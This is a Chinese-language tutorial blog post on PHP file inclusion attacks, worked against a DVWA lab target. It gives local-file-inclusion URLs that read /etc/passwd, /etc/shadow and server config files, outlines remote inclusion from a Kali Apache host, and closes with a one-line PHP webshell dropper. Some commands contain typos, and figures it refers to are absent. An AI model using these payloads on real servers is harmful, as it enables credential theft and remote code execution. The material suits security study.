web安全文件包含渗透攻击

 

文件包含渗透攻击

严格来说,文件包含漏洞是“代码注入”的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务端执行。“代码注入”的典型代表就是文件包含。文件包含漏洞可能出现在JSP、PHP、ASP等语言中,原理都是一样的。

使用文件包含漏洞进行攻击需要满足两个条件

1:Web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件;

2:用户能够控制该动态变量。

在PHP中,有四个用于包含文件的函数,当使用这些函数包含文件时,文件中包含的PHP代码会被执行。下面对它们之间的区别进行解释:

include(): 当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。

include_once(): 功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次。

require(): 1.require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。2.使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到该函数时才调用。

require_once(): 它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

通过上面的代码可以看到,在得到变量$filename的值后没有经过任何处理,直接带入include()函数中。此处就存在一个文件包含漏洞,利用该漏洞我们可以查看系统中的任意文件

首先我们在靶机的web服务器中创建一个c.txt

并编辑如下php程序

包含此c.txt文件运行结果

通过上图我们可以看到文本中的PHP代码被成功执行了。

利用该漏洞我们可以查看系统中的任意文件,比如经常用到的“/etc/passwd”文件。

文件包含分为两类:

本地文件包含LFI(Local File Inclusion)当被包含的文件在服务器本地时,就形成本地文件包含。

远程文件包含RFI(Remote File Inclusion)当被包含的文件在第三方服务器时,叫做远程文件包含。

原理及危害

文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行,文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程文件)。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

1.文件包含(File Inclusion)即程序通过【包含函数】调用本地货远程文件,以此来实现拓展功能。

2.被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞。

3.文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等包含函数。

访问本地系统账号信息及其它敏感信息

http://192.168.106.134/dvwa/vuInerabilities/fi/?page=/etc/passwd

http://192.168.106.134/dvwa/vuInerabilities/fi/?page=/etc/shadown

http://192.168.106.134/dvwa/vuInerabilities/fi/?page=/etc/php5/apache2/php.ini

http://192.168.106.134/dvwa/vuInerabilities/fi/?page=/etc/mysql/my.cnf

http://192.168.106.134/dvwa/vuInerabilities/fi/?page=/etc/apache2/apache2.conf

测试远程包含文件:在kaili linux上启动Apache服务器并创建kun.txt实现远程包含

搭建apache服务器进行连接

命令sysytemctl start apache2

测试命令 systemctl status apache2

IP -a命令查询ip进行访问测试

编辑kun.txt文件

将wedshell执行程序写入kun.txt

测试本地访问

一句话木马执行程序  <?fputs(fopen(“shell50.php”,”w”),’<?php.eval($_POST[cmd50]);?>’)?>

猜你喜欢

转载自blog.csdn.net/qq_42094992/article/details/89763655